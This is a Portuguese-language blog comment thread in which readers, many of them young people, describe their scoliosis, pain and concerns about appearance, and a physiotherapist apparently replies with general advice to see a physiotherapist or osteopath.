      Olá, bom dia!
      Minha filha de 22 anos tem escoliose em “S” e faz tratamento desde os 11 anos. Ela usou de forma irregular o colete, o que causou um aumento na curvatura. Hoje ela faz Fisioterapia e sente poucas dores(ela já fez 20 sessões de RPG) . A minha dúvida é a seguinte: qual o melhor método para manutenção na fase em que ela está? Natação ou Pilates? O peso influencia no tratamento? A única dificuldade que ela tem, graças a Deus, é a estética. obrigada,
      abraços.

    125. Rodrigo Zabini

      @LUIZA FORTES: oi luiza, obrigado por participar. para saber qual método é melhor depende da fase onde ela está e o quanto evoluiu nas sessoes de rpg, e isso só fazendo uma avaliação periódica com o seu fisioterapeuta.
      particularmente acho que o pilates é mais especifico para esses casos. e sim o peso influencia em qualquer tratamento.
      abraços !!

    126. rosilane

      eu descobrir q

    127. rosilane

      OI MEU NOME E ROSILANE SARRAZIN.eu descobrir que tinha escoliose no ano passado, mais acho que tenho desde 2009. sinto dores ao respirar,ao deitar parece que meu osso estrala. agora eu tenho 16 anos. o meu e tipo um “s”.MORO COM MINHA TIA, AS VEZES ME ENCOMODO PENSO que ela ta olhando,achando eu um mostro… poxa me encomoda muito. tratamento ajuda? e uma cirurgia ajuda ? quanto ta? queria saber…. tem soluçao pra mim? espero uma resposta…

    128. Rodrigo Zabini

      @rosilane: oi rosilane,obrigado por participar, suas posições sao importantes para mostrar a todos o que é ter escoliose.
      Converse com sua tia e procure seu fisioterapeuta de confiança para começar a ter uma solução para voce.
      abraços

    129. Raphael Gomes

      Boa noite, meu nome é Raphael. Minha dúvida é a seguinte, tenho escoliose e trabalho diariamente 8 horas o tempo todo em pé, sem poder sentar e sinto muitas dores na minha coluna, ja fiz fisioterapia 2x e dpois de um tempo a dor sempre volta. Gostaria de saber se ha algo q eu possa fazer de tratamentos e mediante a justiça tbm pôs sinto muito desconforto no meu local de trabalho. Desde ja agradeço .

    130. Rodrigo Zabini

      @Raphael Gomes: oi raphael, obrigado por participar, com relação a sua dúvida, procure um tratamento que te ajude por mais tempo, como osteopatia, pilates e rpg, e lógico, precisa mudar o ambiente de trabalho, para que voce para pelo menos 5 minutos a cada 60 minutos trabalhado. Quanto a justiça cabe a um advogado te orientar. Abraços

    131. angela

      oi Rodrigo , tenho 17 anos e descobri que tenho escoliose , queria saber se fazer musculação , ajuda ou prejudica o paciente , no caso eu . e se natação é uma boa . ?

    132. Rodrigo Zabini

      @angela: oi angela, obrigado por participar. Todo tratamento deve ser multi disciplinar, e de longo prazo. Todo exercicios que trabalhe a escoliose vale a pena fazer. Por isso tenha seu fisioterapeuta te orientando para saber qual o melhor exercicio para o seu caso. Abraços

    133. carmel

      tenho 49anos e descobrí q/ tenho escoliose no q/ isso poe me prejudicar?

    134. Rodrigo Zabini

      @carmel: oi carmel. a escoliose sempre depende do tipo, localização e angulação. Dependendo desses fatores, poder desencadear dores no corpo, mas se voce só descobriu agora, provavelmente deve ser algo bem leve. Converse com o seu fisioterapeuta para te orientar melhor

    135. Daniel

      Olá, meu nome é Daniel, tenho só 14 anos e ja tenho escoliose desde os 9 mais ou menos, eu começei a fazer RPG (Reeducação Postural Global, uma fisioterapia) eu estou quase 100% curado, eu recomendo

    136. Tenho dores na costa ha muito tempo,e ainda por cima minha costa um lado é maior do que o outro.Vou nos medicos e pesso para tirar raio x para saber o que tenho na costa e o que devo fazer para acabar com as dores e para indireita-la,mas eles nunca fazem nada.
      Nao posso usar uma roupa grudadinha que aparece minha costa toda torta e nao sei o que fazer.

    137. EVELLYN

      COMO SE PEGA ESCOLIOSE

    138. aleanderson

      olá,
      tenho 22 anos, estou com escoliose. as vezes sinto dores na lombar e minha perna direita é 11mm menor que a esquerda. uso uma sapatilha. tem uns 4 anos que descobri isso, depois não procurei mais nenhum especialista. gostaria de saber se a direferença de uma perna para outra pode ter sofrido mudanças de 4 anos pra ka, se tem algum tratamento definitivo do desvio( se posso fazer cirurgia, pilates ou rpg, ou algum tratamento indicado ). destes 4 anos, nos 3 primeiro eu fazia musculação e minhas dores vinha de vez enquando, agora que estou um ano sem malhar e as dores são frequentes. não posso voltar a malhar por falta de tempo trabalho e estudo o dia todo.
      o que posso fazer com relação a minha escoliose? tem como concertar a escoliose ( se tiver mi fale como – se é pra fazer cirurgia, procurar fazer rpg, pilate, etc…) ou tenho que mi conformar e tomar remédios para dores.

    139. va até uma clinica especializada em coluna la´ voce vai poder fazer todos os exames necessarios eu tenho escoliose,ja esta mt avançada,meu medico dissse que é genético,estou fazendo rpg mas talvez 98% de chances de eu ter que usar colete.dizem que aquele é o cao tem que ficar 23 horas por dia usando durante anos so se tira para tomar babho.

    140. foi descoberto que eu tenho escoliose quando eu tinha 3 anos e durante muitos anos fiz natacao agora que tenho vinte anos a escoliose e de 14 graus sinto muitas e muitas dores, e o medico me disse que a unica cura possivel e uma cirurgia mas ele nao aconselha e disse ainda k o grau da escoliose pode aumentar segundo o raio x… nao sei o k fazer

    141. Rodrigo Zabini

      @Daniel: obrigado Daniel, comentários assim que ajudam bastante, capriche no tratamento abraços!!!

    142. Rodrigo Zabini

      @Keren: oi keren, obrigado por participar, o que recomendo é levar esses exames e sua queixa a um fisioterapeuta de sua confiança. Ele poderá te ajudar. Abraços

    143. Rodrigo Zabini

      @EVELLYN: oi evellyn, obrigado por participar. A escoliose normalmente é de causa idiopática, ou seja, sem causa definida. Porém há casos que a pessoa desenvolve uma doença e acaba desenvolvendo escoliose. Como exemplo os tumores da coluna ou fraturas nos corpos vertebrais. Abraços

    144. Rodrigo Zabini

      @aleanderson: oi aleanderson obrigado pela participação, com relação a escoliose o melhor que tem a fazer é consultar um fisioterapeuta que possa te avaliar e indicar o melhor tratamento. Leve suas queixas e teus exames para ele avaliar de uma maneira adequada. Abraços

    145. Rodrigo Zabini

      @maria: oi maria, obrigado pela participação , seu exemplo ajuda as pessoas a procurar melhores tratamentos para seus problemas, Abraços

    146. Rodrigo Zabini

      @olga: olá olga. Não existe a unica cura possível, e sim vários métodos de tratamento que podem ajudar a diminuiir a dor. Se o médico disse isso, consulte um fisioterapeuta de confiança que ele irá propor uma série de tratamentos que poderão te ajudar.
      Abraços

    147. ana lucia

      ola ,meu diaguinostico foi escoliose que dente a mais pro lado esquerdo,estou fazendo rpg,isso pode agravar o problema??,meu médico disse q melhora ,mas q no meu caso talvez ela não volte,sinto muita dor no ombro escapula…será q vou ter q conviver com isso sempre ?? desde ja agradeço..

    148. Ricardo

      Olá! Há uns meses, após dois anos de dores na coluna, tive confirmada uma escoliose lombar em raio X. É provocada por dismetria dos membros inferiores, sendo que o membro direito é 8-9mm mais pequeno, e a bacia e a coluna compensaram isso. O médico disse para usar uma palmilha e fazer natação durante 6 meses… Será que devo ou não fazer tratamento osteopatico? Obrigado!

    149. paulo cesar

      boa noite,tenho uma dor constante na escapula do lado esquerdo que irradia para frente e pescoço,tenho escoliose tambem,gostaria de saber qual o tratamento para essa dor pois isso ja esta mexendo até com meu sistema nervoso,obrigado e aguardo resposta.

    150. Eliane

      olá, sofri um trauma a três meses daí entao venho sofrendo muitas dores devido a escoliose , ja tomei anti-inflamatorio mas nao resolveu continuo sentido muita dor , voçe pode me dar um conselho para aliviar a dor da escoliose ?

    151. Rodrigo Lima

      Olá, sinto fortes dores na região clavicular, principalmente nas juntas, o médico me falou que tenho uma pequena escoliose que empurra a clavícula, por isso causa dores.
      Mais qual séria o melhor tratamento, séria
      osteopatia?

      Obrigado!

    152. Rodrigo Zabini

      @ana lucia: oi ana lúcia, obrigado por participar. rpg nao agrava o problema, e com otratamento adequado voce nao precisa conviver com isso sempre. Procure conversar com o seu fisioterapeuta para saber qual o programa de tratamento
      abraços

    153. Rodrigo Zabini

      @Ricardo: oi ricardo, obrigado por participar. Consulte um osteopata , que ele irá de avaliar melhor. Lembre de levar os exames e com isso existe a possibilidade de nao usar a palmilha, mas a natação ou uma atividade fisica sempre é recomendável. abraços

    154. Rodrigo Zabini

      @paulo cesar: oi paulo cesar, obrigado por participar. Caso nao tenha consultado ninguem, procure um fisioterapeuta especialista em osteopatia, de preferencia leve seus exames e converse com ele sobre a sua dor. Apos uma avaliacao ele fara uma proposta de tratamento
      abraços

    155. Rodrigo Zabini

      @Eliane: oi eliane, o melhor que tem a fazer é consultar um fisioterapeuta, com os exames e o remédios que tomou
      abraços

    156. Rodrigo Zabini

      @Rodrigo Lima: oi rodrigo, consultar umfisioterapeuta é uma boa dica. Principalmente se ele for especialista em osteopatia
      abraços

    157. Anderson

      Meu peito esta meio q um lado mais pra frente do que o outro, voce acha q pode ser escoliose?

    158. Rodrigo Zabini

      @Anderson: oi anderson, o mais correto a ser feito é voce consultar um fisioterapeuta para uma melhor avaliação. Provavelmente um raio x deva ser feito
      abraços

    159. felipe

      caramba todo mundo aqui e quebrado em kkkkkkkkkkkk

    160. Rodrigo Zabini

      @felipe: obrigado pela participação . Abraços

    161. leonardo

      Eu descobri que tinha escoliose com 16 para 17 anos,durante muito tempo convivi sem dor,a dois meses atras tive que trabalhar de ajudante de caminhão,nesse momento nao estou mais trabalhando,mais aparti dai so vivo sentindo dor,até uma caminhada eu sinto dor,mais a perna esquerda,será que minha escoliose evoluiu?

    162. Juliana

      Olá tenho 19 anos. Decobrir que tenho escoliose há 1 ano, já fiz fisioterapia e desde então procuro arrumar minha coluna, assim tem como ter cura, ou pelo omenos ficar do geito que estar, sem que piore mais?

    163. Rodrigo Zabini

      @Juliana: oi juliana, obrigado por participar. Para saber sobre a sua coluna o melhor a fazer é perguntar ao fisioterapeuta que está te tratando pois ele tem os exames e sabe da sua evolucão nesse ano de tratamento, mas tem que fazer para nao piorar!!!!!
      abraços

    164. sheila santos

      descobri que as dores que tenho nas costas e pescoço e devido a minha coluna que esta com um desvio parece um S,bom agora estou com muito medo de ficar torta porem tenho 32 anos e isso esta me encomodando!

    165. odília

      o meu filho, com 15 anos tem escoliose e o centro do externo em forma de quilha, será que deveria fazer fisioterapia para corrigir? é que o médico ortopedista só lhe recomendou que corrigisse a sua postura ao andar e sentado. Ele incomoda-lhe muito porque os amigos gozam-o de ter aquela saliência.
      obrigada por me aconcelharem

    166. oi eu tenho 19 anos e tenho escoliose gostaria de saber si posso usa corlerte pois o meu medeco disse que nao tinha mais com usa poia eu sinto muita dor

    167. mais minha escoliose e dedes quando eu tinha 14 anos por farvor me reponda

    168. Rodrigo Zabini

      @sheila santos: oi sheila , obrigado por participar. Para as dores nas costas consulte seu osteopata
      Abraços

    169. Rodrigo Zabini

      @odília: oi odília, obrigado por participar. Com certeza levaria seu filho para uma avaliação ao seu fisioterapeuta de confiança. Abraços

    170. Rodrigo Zabini

      @geane: oi geane, obrigado por participar. Consulte um fisioterapeuta para ele te avaliar e propor um tratamento. Vai valer a pena Abraços

    171. oi sou eu de novo me tirre uma duvida se a cerrugia porde se di ricor e leva a morte

    172. Rodrigo Zabini

      @geane: oi geane de novo, sim toda cirurgia tem risco de morte Abraços